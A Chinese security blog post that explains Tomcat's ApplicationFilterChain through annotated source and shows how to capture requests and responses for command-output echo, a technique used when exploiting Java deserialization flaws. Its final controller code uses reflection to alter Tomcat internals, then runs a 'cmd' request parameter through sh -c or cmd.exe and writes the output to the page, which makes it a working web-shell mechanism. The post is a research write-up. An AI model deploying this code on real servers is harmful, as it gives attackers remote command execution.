浅析利用Tomcat ApplicationFilterChain类实现半通用回显

  • A+
所属分类:安全文章

0x00 前言

之前没搞过这种半通用回显方法,不懂就学,参考大佬的文章学习下:Tomcat中一种半通用回显方法

0x01 相关概念

FilterChain

Filter即过滤器,是Servlet技术中最实用的技术,主要用于对用户请求进行预处理,也可以对HttpServletResponse进行后处理。Web开发人员通过Filter技术,对Web服务器管理的所有Web资源如JSP、Servlet、静态文件等进行拦截,从而实现一些特殊的功能。例如实现URL级别的权限访问控制、过滤敏感词汇、压缩响应信息等一些高级功能。

Filter功能:

  • 在HttpServletRequest到达Servlet之前,拦截客户的HttpServletRequest 。根据需要检查HttpServletRequest,也可以修改HttpServletRequest头和数据。

  • 在HttpServletResponse到达客户端之前,拦截HttpServletResponse 。根据需要检查HttpServletResponse,也可以修改HttpServletResponse头和数据。

FilterChain:在一个Web应用中,可以开发编写多个Filter,这些Filter组合起来称之为一个FilterChain。Web服务器根据Filter在web.xml文件中的注册顺序,决定先调用哪个Filter,当第一个Filter的doFilter()方法被调用时,Web服务器会创建一个代表Filter链的FilterChain对象传递给该方法。在doFilter()方法中,开发人员如果调用了FilterChain对象的doFilter()方法,则Web服务器会检查FilterChain对象中是否还有Filter,如果有则调用第2个Filter,如果没有则调用目标Servlet。

Filter原理图:

浅析利用Tomcat ApplicationFilterChain类实现半通用回显

而ApplicationFilterChain类则是FilterChain接口类的实现类。

ApplicationFilterChain类

简介

Tomcat中的ApplicationFilterChain类是一个Java Servlet API规范javax.servlet.FilterChain接口类的实现类,用于管理某个请求request的一组过滤器Filter的执行。当针对一个request所定义的一组过滤器Filter处理完该请求后,最后一个doFilter()调用才会执行目标Servlet的service()函数。之后响应对象response会按照相反的顺序依次经过这组Filter处理,最终到达客户端。

类图

浅析利用Tomcat ApplicationFilterChain类实现半通用回显

创建过程

ApplicationFilterChain类是在StandardWrapperValve类中invoke()方法中调用ApplicationFilterFactory.createFilterChain()方法创建的。StandardWrapperValve是Wrapper的标准阀,用在Pipleline流程中的最后一个valve执行,其中会创建ApplicationFilterChain对象并调用其doFilter()方法来处理请求,这个ApplicationFilterChain包含着配置的与请求相匹配的Filter和Servlet,其doFilter()方法会依次调用所有的Filter的doFilter()方法和Servlet的service()方法。

这里可看源码注释分析:

    public final void invoke(Request request, Response response)        throws IOException, ServletException {        // 初始化本地变量        boolean unavailable = false;        Throwable throwable = null;        // This should be a Request attribute...        long t1=System.currentTimeMillis();        requestCount.incrementAndGet();        // 获取StandardWrapper Container        StandardWrapper wrapper = (StandardWrapper) getContainer();        Servlet servlet = null;        Context context = (Context) wrapper.getParent();        // 检查标记为不可用的应用程序        if (!context.getState().isAvailable()) {            response.sendError(HttpServletResponse.SC_SERVICE_UNAVAILABLE,                           sm.getString("standardContext.isUnavailable"));            unavailable = true;        }        // 检查标记为不可用的servlet        if (!unavailable && wrapper.isUnavailable()) {            container.getLogger().info(sm.getString("standardWrapper.isUnavailable",                    wrapper.getName()));            long available = wrapper.getAvailable();            if ((available > 0L) && (available < Long.MAX_VALUE)) {                response.setDateHeader("Retry-After", available);                response.sendError(HttpServletResponse.SC_SERVICE_UNAVAILABLE,                        sm.getString("standardWrapper.isUnavailable",                                wrapper.getName()));            } else if (available == Long.MAX_VALUE) {                response.sendError(HttpServletResponse.SC_NOT_FOUND,                        sm.getString("standardWrapper.notFound",                                wrapper.getName()));            }            unavailable = true;        }        // 分配一个servlet实例来处理此请求        try {            if (!unavailable) {                // 通过Wrapper获取Servlet实例,内部已经调用了service(request, response)方法,对req与res进行了字段赋值                // 下面是对Response和Request进行后续的处理                servlet = wrapper.allocate();            }        } catch (UnavailableException e) {            container.getLogger().error(                    sm.getString("standardWrapper.allocateException",                            wrapper.getName()), e);            long available = wrapper.getAvailable();            if ((available > 0L) && (available < Long.MAX_VALUE)) {                response.setDateHeader("Retry-After", available);                response.sendError(HttpServletResponse.SC_SERVICE_UNAVAILABLE,                           sm.getString("standardWrapper.isUnavailable",                                        wrapper.getName()));            } else if (available == Long.MAX_VALUE) {                response.sendError(HttpServletResponse.SC_NOT_FOUND,                           sm.getString("standardWrapper.notFound",                                        wrapper.getName()));            }        } catch (ServletException e) {            container.getLogger().error(sm.getString("standardWrapper.allocateException",                             wrapper.getName()), StandardWrapper.getRootCause(e));            throwable = e;            exception(request, response, e);        } catch (Throwable e) {            ExceptionUtils.handleThrowable(e);            container.getLogger().error(sm.getString("standardWrapper.allocateException",                             wrapper.getName()), e);            throwable = e;            exception(request, response, e);            servlet = null;        }        // 设置请求相关属性        MessageBytes requestPathMB = request.getRequestPathMB();        DispatcherType dispatcherType = DispatcherType.REQUEST;        if (request.getDispatcherType()==DispatcherType.ASYNC) dispatcherType = DispatcherType.ASYNC;        request.setAttribute(Globals.DISPATCHER_TYPE_ATTR,dispatcherType);        request.setAttribute(Globals.DISPATCHER_REQUEST_PATH_ATTR,                requestPathMB);        // 新建ApplicationFilterChain实例        ApplicationFilterChain filterChain =                ApplicationFilterFactory.createFilterChain(request, wrapper, servlet);        // 调用本次请求的filter chain        // 注意:这里在会调用Servlet的service()函数        Container container = this.container;        try {            if ((servlet != null) && (filterChain != null)) {                // Swallow output if needed                if (context.getSwallowOutput()) {                    try {                        SystemLogHandler.startCapture();                        if (request.isAsyncDispatching()) {                            request.getAsyncContextInternal().doInternalDispatch();                        } else {                            filterChain.doFilter(request.getRequest(),                                    response.getResponse());                        }                    } finally {                        String log = SystemLogHandler.stopCapture();                        if (log != null && log.length() > 0) {                            context.getLogger().info(log);                        }                    }                } else {                    if (request.isAsyncDispatching()) {                        request.getAsyncContextInternal().doInternalDispatch();                    } else {                        // 调用ApplicationFilterChain实例的doFilter()函数                        // 其中执行完最后一个doFilter()后会执行Servlet的service()函数                        filterChain.doFilter                            (request.getRequest(), response.getResponse());                    }                }            }        } catch (ClientAbortException | CloseNowException e) {            if (container.getLogger().isDebugEnabled()) {                container.getLogger().debug(sm.getString(                        "standardWrapper.serviceException", wrapper.getName(),                        context.getName()), e);            }            throwable = e;            exception(request, response, e);        } catch (IOException e) {            container.getLogger().error(sm.getString(                    "standardWrapper.serviceException", wrapper.getName(),                    context.getName()), e);            throwable = e;            exception(request, response, e);        } catch (UnavailableException e) {            container.getLogger().error(sm.getString(                    "standardWrapper.serviceException", wrapper.getName(),                    context.getName()), e);            //            throwable = e;            //            exception(request, response, e);            wrapper.unavailable(e);            long available = wrapper.getAvailable();            if ((available > 0L) && (available < Long.MAX_VALUE)) {                response.setDateHeader("Retry-After", available);                response.sendError(HttpServletResponse.SC_SERVICE_UNAVAILABLE,                           sm.getString("standardWrapper.isUnavailable",                                        wrapper.getName()));            } else if (available == Long.MAX_VALUE) {                response.sendError(HttpServletResponse.SC_NOT_FOUND,                            sm.getString("standardWrapper.notFound",                                        wrapper.getName()));            }            // Do not save exception in 'throwable', because we            // do not want to do exception(request, response, e) processing        } catch (ServletException e) {            Throwable rootCause = StandardWrapper.getRootCause(e);            if (!(rootCause instanceof ClientAbortException)) {                container.getLogger().error(sm.getString(                        "standardWrapper.serviceExceptionRoot",                        wrapper.getName(), context.getName(), e.getMessage()),                        rootCause);            }            throwable = e;            exception(request, response, e);        } catch (Throwable e) {            ExceptionUtils.handleThrowable(e);            container.getLogger().error(sm.getString(                    "standardWrapper.serviceException", wrapper.getName(),                    context.getName()), e);            throwable = e;            exception(request, response, e);        } finally {            // 释放本次请求的filter chain            if (filterChain != null) {                filterChain.release();            }            // 释放servlet实例            try {                if (servlet != null) {                    wrapper.deallocate(servlet);                }            } catch (Throwable e) {                ExceptionUtils.handleThrowable(e);                container.getLogger().error(sm.getString("standardWrapper.deallocateException",                                 wrapper.getName()), e);                if (throwable == null) {                    throwable = e;                    exception(request, response, e);                }            }            // If this servlet has been marked permanently unavailable,            // unload it and release this instance            try {                if ((servlet != null) &&                    (wrapper.getAvailable() == Long.MAX_VALUE)) {                    wrapper.unload();                }            } catch (Throwable e) {                ExceptionUtils.handleThrowable(e);                container.getLogger().error(sm.getString("standardWrapper.unloadException",                                 wrapper.getName()), e);                if (throwable == null) {                    exception(request, response, e);                }            }            long t2=System.currentTimeMillis();            long time=t2-t1;            processingTime += time;            if( time > maxTime) maxTime=time;            if( time < minTime) minTime=time;        }    }

跟进看下ApplicationFilterFactory类的createFilterChain()函数的具体实现:

    public static ApplicationFilterChain createFilterChain(ServletRequest request,            Wrapper wrapper, Servlet servlet) {        // 如果没有servlet执行,则直接返回null        if (servlet == null)            return null;        // 创建并初始化一个ApplicationFilterChain对象        ApplicationFilterChain filterChain = null;        if (request instanceof Request) {            Request req = (Request) request;            if (Globals.IS_SECURITY_ENABLED) {                // Security: Do not recycle                filterChain = new ApplicationFilterChain();            } else {                // 从请求中尝试获取FilterChain                filterChain = (ApplicationFilterChain) req.getFilterChain();                // 如果获取不到,则新建ApplicationFilterChain实例并设置到请求中                if (filterChain == null) {                    // 新建ApplicationFilterChain实例时,会先调用其静态代码来                    // 初始化lastServicedRequest和lastServicedResponse为null                    filterChain = new ApplicationFilterChain();                    req.setFilterChain(filterChain);                }            }        } else {            // 用于请求分发器的场景            filterChain = new ApplicationFilterChain();        }        // 为ApplicationFilterChain对象设置Servlet        filterChain.setServlet(servlet);        filterChain.setServletSupportsAsync(wrapper.isAsyncSupported());        // 获取当前上下文的过滤器映射关系        StandardContext context = (StandardContext) wrapper.getParent();        FilterMap filterMaps[] = context.findFilterMaps();        // 如果没有映射关系则直接返回        if ((filterMaps == null) || (filterMaps.length == 0))            return filterChain;        // 获取匹配过滤器映射关系所需的信息        DispatcherType dispatcher =                (DispatcherType) request.getAttribute(Globals.DISPATCHER_TYPE_ATTR);        // 获取请求路径信息        String requestPath = null;        Object attribute = request.getAttribute(Globals.DISPATCHER_REQUEST_PATH_ATTR);        if (attribute != null){            requestPath = attribute.toString();        }        String servletName = wrapper.getName();        // 将相关请求路径映射到的过滤器添加到ApplicationFilterConfig对象中        for (FilterMap filterMap : filterMaps) {            if (!matchDispatcher(filterMap, dispatcher)) {                continue;            }            if (!matchFiltersURL(filterMap, requestPath))                continue;            ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)                    context.findFilterConfig(filterMap.getFilterName());            if (filterConfig == null) {                // FIXME - log configuration problem                continue;            }            filterChain.addFilter(filterConfig);        }        // 接着添加与Servlet名称匹配的过滤器        for (FilterMap filterMap : filterMaps) {            if (!matchDispatcher(filterMap, dispatcher)) {                continue;            }            if (!matchFiltersServlet(filterMap, servletName))                continue;            ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)                    context.findFilterConfig(filterMap.getFilterName());            if (filterConfig == null) {                // FIXME - log configuration problem                continue;            }            filterChain.addFilter(filterConfig);        }        // 返回最终设置好的ApplicationFilterConfig对象        return filterChain;    }

源码浅析

这里直接从ApplicationFilterChain类源码中看注释分析:

/** * Implementation of <code>javax.servlet.FilterChain</code> used to manage * the execution of a set of filters for a particular request.  When the * set of defined filters has all been executed, the next call to * <code>doFilter()</code> will execute the servlet's <code>service()</code> * method itself. * * @author Craig R. McClanahan */public final class ApplicationFilterChain implements FilterChain {    // Used to enforce requirements of SRV.8.2 / SRV.14.2.5.1    private static final ThreadLocal<ServletRequest> lastServicedRequest;    private static final ThreadLocal<ServletResponse> lastServicedResponse;    // 在ApplicationFilterChain类首次创建时调用    static {        // WRAP_SAME_OBJECT默认为空        if (ApplicationDispatcher.WRAP_SAME_OBJECT) {            lastServicedRequest = new ThreadLocal<>();            lastServicedResponse = new ThreadLocal<>();        } else {            lastServicedRequest = null;            lastServicedResponse = null;        }    }    // filters数组每次扩容的增量    public static final int INCREMENT = 10;    /**     * Filters.     */    private ApplicationFilterConfig[] filters = new ApplicationFilterConfig[0];    // 当前执行的filter索引index    private int pos = 0;    // filters总量    private int n = 0;    // filter之后执行的Servlet实例    private Servlet servlet = null;    // 关联的servlet实例是否支持异步处理    private boolean servletSupportsAsync = false;    /**     * The string manager for our package.     */    private static final StringManager sm =      StringManager.getManager(Constants.Package);    /**     * Static class array used when the SecurityManager is turned on and     * <code>doFilter</code> is invoked.     */    private static final Class<?>[] classType = new Class[]{        ServletRequest.class, ServletResponse.class, FilterChain.class};    /**     * Static class array used when the SecurityManager is turned on and     * <code>service</code> is invoked.     */    private static final Class<?>[] classTypeUsedInService = new Class[]{        ServletRequest.class, ServletResponse.class};    // 调用filter chain中的下一个filter,并传递指定的请求和响应。如果filter chain中没有其他filter,则调用Servlet本身的service()方法    // 该函数主要进行一层安全验证处理,再内部调用internalDoFilter()做实际处理    @Override    public void doFilter(ServletRequest request, ServletResponse response)        throws IOException, ServletException {        // 是否开启Security Manager        if( Globals.IS_SECURITY_ENABLED ) {            final ServletRequest req = request;            final ServletResponse res = response;            try {                java.security.AccessController.doPrivileged(                        (java.security.PrivilegedExceptionAction<Void>) () -> {                            // 内部调用进一步处理                            internalDoFilter(req,res);                            return null;                        }                );            } catch( PrivilegedActionException pe) {                Exception e = pe.getException();                if (e instanceof ServletException)                    throw (ServletException) e;                else if (e instanceof IOException)                    throw (IOException) e;                else if (e instanceof RuntimeException)                    throw (RuntimeException) e;                else                    throw new ServletException(e.getMessage(), e);            }        } else {            // 内部调用进一步处理            internalDoFilter(request,response);        }    }    // 实际处理的Filter方法    private void internalDoFilter(ServletRequest request,                                  ServletResponse response)        throws IOException, ServletException {        // 调用下一个存在的filter        if (pos < n) {            // 根据pos定位找到ApplicationFilterConfig            ApplicationFilterConfig filterConfig = filters[pos++];            try {                // 从ApplicationFilterConfig获取新的filter                Filter filter = filterConfig.getFilter();                if (request.isAsyncSupported() && "false".equalsIgnoreCase(                        filterConfig.getFilterDef().getAsyncSupported())) {                    request.setAttribute(Globals.ASYNC_SUPPORTED_ATTR, Boolean.FALSE);                }                // 判断是否启用Security Manager                if( Globals.IS_SECURITY_ENABLED ) {                    final ServletRequest req = request;                    final ServletResponse res = response;                    Principal principal =                        ((HttpServletRequest) req).getUserPrincipal();                    Object[] args = new Object[]{req, res, this};                    SecurityUtil.doAsPrivilege ("doFilter", filter, classType, args, principal);                } else {                    // 调用用户编写的Filter中的方法进行过滤                    filter.doFilter(request, response, this);                }            } catch (IOException | ServletException | RuntimeException e) {                throw e;            } catch (Throwable e) {                e = ExceptionUtils.unwrapInvocationTargetException(e);                ExceptionUtils.handleThrowable(e);                throw new ServletException(sm.getString("filterChain.filter"), e);            }            return;        }        // filter chain执行完后,调用servlet实例        try {            // 保存Servlet执行前的request与response,前提是WRAP_SAME_OBJECT不为空            if (ApplicationDispatcher.WRAP_SAME_OBJECT) {                lastServicedRequest.set(request);                lastServicedResponse.set(response);            }            if (request.isAsyncSupported() && !servletSupportsAsync) {                request.setAttribute(Globals.ASYNC_SUPPORTED_ATTR,                        Boolean.FALSE);            }            // Use potentially wrapped request from this point            if ((request instanceof HttpServletRequest) &&                    (response instanceof HttpServletResponse) &&                    Globals.IS_SECURITY_ENABLED ) {                final ServletRequest req = request;                final ServletResponse res = response;                Principal principal =                    ((HttpServletRequest) req).getUserPrincipal();                Object[] args = new Object[]{req, res};                SecurityUtil.doAsPrivilege("service",                                           servlet,                                           classTypeUsedInService,                                           args,                                           principal);            } else {                // servlet实例的service()方法调用                servlet.service(request, response);            }        } catch (IOException | ServletException | RuntimeException e) {            throw e;        } catch (Throwable e) {            e = ExceptionUtils.unwrapInvocationTargetException(e);            ExceptionUtils.handleThrowable(e);            throw new ServletException(sm.getString("filterChain.servlet"), e);        } finally {            if (ApplicationDispatcher.WRAP_SAME_OBJECT) {                lastServicedRequest.set(null);                lastServicedResponse.set(null);            }        }    }    // 获取最后一个从当前线程传递到servlet进行服务的请求    public static ServletRequest getLastServicedRequest() {        return lastServicedRequest.get();    }    // 获取最后一个从当前线程传递到servlet进行服务的响应    public static ServletResponse getLastServicedResponse() {        return lastServicedResponse.get();    }    // 添加filter到filter chain    void addFilter(ApplicationFilterConfig filterConfig) {        // 防止添加重复的filter        for(ApplicationFilterConfig filter:filters)            if(filter==filterConfig)                return;        // 如果filters数量满额        if (n == filters.length) {            // 以INCREMENT为单位扩容            ApplicationFilterConfig[] newFilters =                new ApplicationFilterConfig[n + INCREMENT];            // 数组内容copy            System.arraycopy(filters, 0, newFilters, 0, n);            // 引用替换            filters = newFilters;        }        // 扩容后再添加新的filter        filters[n++] = filterConfig;    }    /**     * Release references to the filters and wrapper executed by this chain.     */    void release() {        for (int i = 0; i < n; i++) {            filters[i] = null;        }        n = 0;        pos = 0;        servlet = null;        servletSupportsAsync = false;    }    /**     * Prepare for reuse of the filters and wrapper executed by this chain.     */    void reuse() {        pos = 0;    }    // 设置filter chain之后将执行的Servlet    void setServlet(Servlet servlet) {        this.servlet = servlet;    }    // 设置Servlet支持异步    void setServletSupportsAsync(boolean servletSupportsAsync) {        this.servletSupportsAsync = servletSupportsAsync;    }    // 查找不支持异步的filter    public void findNonAsyncFilters(Set<String> result) {        for (int i = 0; i < n ; i++) {            ApplicationFilterConfig filter = filters[i];            if ("false".equalsIgnoreCase(filter.getFilterDef().getAsyncSupported())) {                result.add(filter.getFilterClass());            }        }    }}

看完代码,我们可以简介归纳一个ApplicationFilterChain对象包含几个主要参数:

  • n:filter个数;

  • pos:下一个要执行的filter的位置;

  • Servlet:当pos=n即过滤完成时,调用Servlet的service()方法,把请求交给Servlet;

  • filters:Filter的相关配置信息;

所以,ApplicationFilterChain对象的执行其实就是通过pos作为索引来逐个执行设置的filter的doFilter()函数,执行完所有filter的doFilter()后,就会调用Servlet的service()函数来处理请求。

0x02 回显利用

基本原理

一般的,基于Tomcat的回显利用实现思路如下:

  1. Tomcat中存在保存Request和Response的某些变量;

  2. 通过读取Request对象来获取输入的命令参数;

  3. 通过写入Response对象来实现响应回显输出;

而在前面分析的ApplicationFilterChain类中,我们看到在调用internalDoFilter()函数时,Request和Response是保存到lastServicedRequest和lastServicedResponse变量中的:

        // We fell off the end of the chain -- call the servlet instance        try {            if (ApplicationDispatcher.WRAP_SAME_OBJECT) {                lastServicedRequest.set(request);                lastServicedResponse.set(response);            }

而这两个变量是由private static final修饰的ThreadLocal类型的变量,static使得可以直接在没有创建对象的情况下来获取变量,ThreadLocal的作用主要是做数据隔离,填充的数据只属于当前线程,变量的数据对别的线程而言是相对隔离的,在多线程环境下,如何防止自己的变量被其它线程篡改

    // Used to enforce requirements of SRV.8.2 / SRV.14.2.5.1    private static final ThreadLocal<ServletRequest> lastServicedRequest;    private static final ThreadLocal<ServletResponse> lastServicedResponse;

下面具体看看怎么实现回显。

代码实现

和参考文章一样,在本地起个简易的Spring Boot,其中Controller代码如下,尝试获取当前HttpServletResponse内容和输入的input参数:

    @ResponseBody    @RequestMapping("/test")    public String test(String input, HttpServletResponse httpServletResponse) throws Exception {        System.out.println(httpServletResponse);        if (input == null) {            input = "Echo Page";        }        return input;    }

调试看调用栈,该Response实例在函数调用栈中始终是同一个传递下来的:

浅析利用Tomcat ApplicationFilterChain类实现半通用回显

浅析利用Tomcat ApplicationFilterChain类实现半通用回显

这里理一下,我们的目标是要在本Controller的响应中添加命令执行的回显到页面中。

在前面的源码浅析中,我们知道ApplicationFilterChain这个类的internalDoFilter()函数中,会将当前的ServletRequest和ServletResponse保存到其成员变量lastServicedRequest和lastServicedResponse中,当然前提是ApplicationDispatcher.WRAP_SAME_OBJECT为true(默认为false):

浅析利用Tomcat ApplicationFilterChain类实现半通用回显

浅析利用Tomcat ApplicationFilterChain类实现半通用回显

看到WRAP_SAME_OBJECT是个static final变量,问题不大,可以通过反射来修改其值为true,从而使得程序能跑到if逻辑中让当前的ServletRequest和ServletResponse保存到lastServicedRequest和lastServicedResponse中。

具体怎么修改可以参考网上的文章:利用反射修改final数据域

先尝试写了下,代码说明如注释:

    @ResponseBody    @RequestMapping("/test")    public String test(String input, HttpServletResponse httpServletResponse) throws Exception {        System.out.println(httpServletResponse);        if (input == null) {            input = "Echo Page";        }        // 获取ApplicationDispatcher类的声明字段WRAP_SAME_OBJECT        Field WRAP_SAME_OBJECT_FIELD = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");        // 获取Field类的声明字段modifiers        Field modifiersField = Field.class.getDeclaredField("modifiers");        // 添加访问权限才能访问私有属性        WRAP_SAME_OBJECT_FIELD.setAccessible(true);        modifiersField.setAccessible(true);        // 清除代表final的那个bit        modifiersField.setInt(WRAP_SAME_OBJECT_FIELD, WRAP_SAME_OBJECT_FIELD.getModifiers() &~ Modifier.FINAL);        // 获取当前WRAP_SAME_OBJECT_FIELD的值        boolean WRAP_SAME_OBJECT = WRAP_SAME_OBJECT_FIELD.getBoolean(null);        // 如果WRAP_SAME_OBJECT_FIELD值为false,说明是第一次调用、还未进行反射修改        if (!WRAP_SAME_OBJECT) {            System.out.println("[*]通过反射机制来修改WRAP_SAME_OBJECT的值为true");            // 修改WRAP_SAME_OBJECT为true,才能反射修改到lastServicedRequest和lastServicedResponse            WRAP_SAME_OBJECT_FIELD.setBoolean(null, true);        } else {            System.out.println("[*]WRAP_SAME_OBJECT的值已为true");        }                return input;    }

直接跑之后控制台报如下错:

浅析利用Tomcat ApplicationFilterChain类实现半通用回显

原因在于执行完Servlet的service()函数修改了WRAP_SAME_OBJECT为true后会进入下面的finally逻辑,其中会设置lastServicedRequest和lastServicedResponse两个变量值为null,但是这两个变量在默认情况下是null、并没有被新建:

浅析利用Tomcat ApplicationFilterChain类实现半通用回显

浅析利用Tomcat ApplicationFilterChain类实现半通用回显

根据这个错误信息,我们需要在代码中也新建lastServicedRequest和lastServicedResponse这两个实例,这样代码就没问题了。同时,还得加入获取URL参数并执行的代码,最后添加到Response中回显输出。看代码注释即可:

    @ResponseBody    @RequestMapping("/test")    public String test(String input, HttpServletResponse httpServletResponse) throws Exception {        System.out.println(httpServletResponse);        if (input == null) {            input = "Echo Page";        }        // 获取ApplicationDispatcher类的WRAP_SAME_OBJECT声明字段        // 和ApplicationFilterChain类的lastServicedRequest与lastServicedResponse声明字段        Field WRAP_SAME_OBJECT_FIELD = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");        Field lastServicedRequestField = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest");        Field lastServicedResponseField = ApplicationFilterChain.class.getDeclaredField("lastServicedResponse");        // 获取Field类的modifiers声明字段        Field modifiersField = Field.class.getDeclaredField("modifiers");        // 添加访问权限才能访问私有属性        WRAP_SAME_OBJECT_FIELD.setAccessible(true);        modifiersField.setAccessible(true);        lastServicedRequestField.setAccessible(true);        lastServicedResponseField.setAccessible(true);        // 清除代表final的那个bit,才能成功修改static final        modifiersField.setInt(WRAP_SAME_OBJECT_FIELD, WRAP_SAME_OBJECT_FIELD.getModifiers() &~ Modifier.FINAL);        modifiersField.setInt(lastServicedRequestField, lastServicedRequestField.getModifiers() &~ Modifier.FINAL);        modifiersField.setInt(lastServicedResponseField, lastServicedResponseField.getModifiers() &~ Modifier.FINAL);        // 获取当前WRAP_SAME_OBJECT_FIELD的值        boolean WRAP_SAME_OBJECT = WRAP_SAME_OBJECT_FIELD.getBoolean(null);        // 尝试获取当前lastServicedRequest和lastServicedResponse的值        // 如果不是第一次访问该接口则为非null        ThreadLocal<ServletRequest> lastServicedRequest = (ThreadLocal<ServletRequest>) lastServicedRequestField.get(null);        ThreadLocal<ServletResponse> lastServicedResponse = (ThreadLocal<ServletResponse>) lastServicedResponseField.get(null);        // 非null就可以直接获取URL参数cmd        String cmd = lastServicedRequest != null ? lastServicedRequest.get().getParameter("cmd") : null;        if (cmd != null) {            System.out.println("[*]获取到请求的cmd参数: " + cmd);        }        // 如果WRAP_SAME_OBJECT_FIELD值为false,说明是第一次调用、还未进行反射修改        // 也未新建lastServicedRequest与lastServicedResponse实例        if (!WRAP_SAME_OBJECT || lastServicedRequest == null || lastServicedResponse == null) {            System.out.println("[*]通过反射机制来修改WRAP_SAME_OBJECT的值为true");            // 修改WRAP_SAME_OBJECT为true,才能反射修改到lastServicedRequest和lastServicedResponse            WRAP_SAME_OBJECT_FIELD.setBoolean(null, true);            // 新建lastServicedRequest和lastServicedResponse实例,避免默认null导致报错            lastServicedRequestField.set(null, new ThreadLocal<>());            lastServicedResponseField.set(null, new ThreadLocal<>());        } else if (cmd != null) {            // 执行cmd命令并添加到Response中回显            System.out.println("[*]WRAP_SAME_OBJECT的值已为true且存在cmd参数");            // 获取保存到lastServicedResponse中的ServletResponse            ServletResponse servletResponse = lastServicedResponse.get();            PrintWriter printWriter = servletResponse.getWriter();            // 获取ResponseFacade类的response声明字段,通过其获取ServletResponse里的Response对象            Field responseField = ResponseFacade.class.getDeclaredField("response");            responseField.setAccessible(true);            Response response = (Response) responseField.get(servletResponse);            // 反射修改Response对象的usingWriter声明字段为false            // 不加这段代码也能成功回显命令执行结果,但会报错显示当前Response已调用getWriter()            // 这是因为后续会调用Response的getOutputStream(),该函数和getWriter()是互相排斥的            // 但可通过反射修改usingWriter标志使得程序认为未调用getWriter()而跳过抛出异常的逻辑            Field usingWriterField = Response.class.getDeclaredField("usingWriter");            usingWriterField.setAccessible(true);            usingWriterField.set(response, Boolean.FALSE);            // 判断当前OS类型            boolean isLinux = true;            String osType = System.getProperty("os.name");            if (osType != null && osType.toLowerCase().contains("win")) {                isLinux = false;            }            // 执行命令并将结果写入ServletResponse的PrintWriter中            String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};            InputStream inputStream = Runtime.getRuntime().exec(cmds).getInputStream();            Scanner scanner = new Scanner(inputStream).useDelimiter("\a");            String output = scanner.hasNext() ? scanner.next() : "";            printWriter.write(output);            printWriter.flush();        }        return input;    }

如代码所示,访问两次就出回显了:

浅析利用Tomcat ApplicationFilterChain类实现半通用回显

半通用的原因

利用Tomcat ApplicationFilterChain类实现回显利用的方式之所以说是半通用,这是因为在Shiro中并不可行。原因在于,ApplicationFilterChain类中Request和Response的设置是在Shiro反序列化漏洞触发点之后。

这里看到在调用ApplicationFilterChain类的internalDoFilter()函数时,调用到了Shiro的ShiroFilter过滤器类、其中会调用到CookieRememberMeManager类的getRememberedSerializedIdentity()函数来获取cookie内容并进行反序列化操作,这个过程都是还在调用应用的doFilter()的时候就触发了,而间于Filter Chain执行之后、调用Servlet实例之前的Request和Response的设置就不起作用了:

浅析利用Tomcat ApplicationFilterChain类实现半通用回显


原文始发于微信公众号(98KSec):浅析利用Tomcat ApplicationFilterChain类实现半通用回显

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: